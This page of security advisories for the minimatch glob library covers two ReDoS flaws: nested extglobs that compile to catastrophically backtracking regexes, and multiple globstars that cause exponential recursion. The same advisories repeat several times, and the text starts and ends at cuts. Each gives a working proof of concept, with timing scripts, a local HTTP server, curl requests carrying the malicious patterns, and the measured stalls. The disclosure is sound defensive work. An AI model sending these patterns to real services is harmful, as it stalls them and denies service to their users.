*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne()performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent**(GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- wherenis the number of path segments andkis the number of globstars. With k=11 and n=30, a call to the defaultminimatch()API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in
matchOne()atsrc/index.ts#L960:while (fr < fl) { .. if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) { .. return true } .. fr++ }When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each
**multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning
falseon a non-matching input.Measured timing with n=30 path segments:
k (globstars) Pattern size Time 7 36 bytes ~154ms 9 46 bytes ~1.2s 11 56 bytes ~5.4s 12 61 bytes ~9.7s 13 66 bytes ~15.9s
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch' // k=9 globstars, n=30 path segments // pattern: 46 bytes, default options const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b' const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a' const start = Date.now() minimatch(path, pattern) console.log(Date.now() - start + 'ms') // ~1200msTo scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s const k = 11 const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b' const path = Array(30).fill('a').join('/') minimatch(path, pattern)No special options are required. This reproduces with the default
minimatch()call.Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3000 const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) if (url.pathname !== '/match') { res.writeHead(404); res.end(); return } const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }) server.listen(PORT)Terminal 1 -- start the server:
node poc1-server.mjsTerminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"Observed output (Terminal 3):
{"result":true,"ms":"0"} time_total: 4.132709sThe server reports
"ms":"0"-- the legitimate request itself takes zero processing time. The 4+ secondtime_totalis entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:{"result":true,"ms":"0"} time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
poc4-validate.mjsand run withnode poc4-validate.mjs:import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=falseStep 2 -- HTTP server (event loop starvation proof)
Save as
poc4-server.mjs:import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`))Terminal 1 -- start the server:
node poc4-server.mjsTerminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"} time_total: 63.022047sTerminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=falseThe server reports
"ms":"0"for the benign request -- the legitimate request itself requires no CPU time. The entire 63-secondtime_totalis time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to
minimatch()is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.Depth 3 (
*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+()extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).Mitigation available: passing
{ noext: true }tominimatch()disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
๐จ minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern
Summary
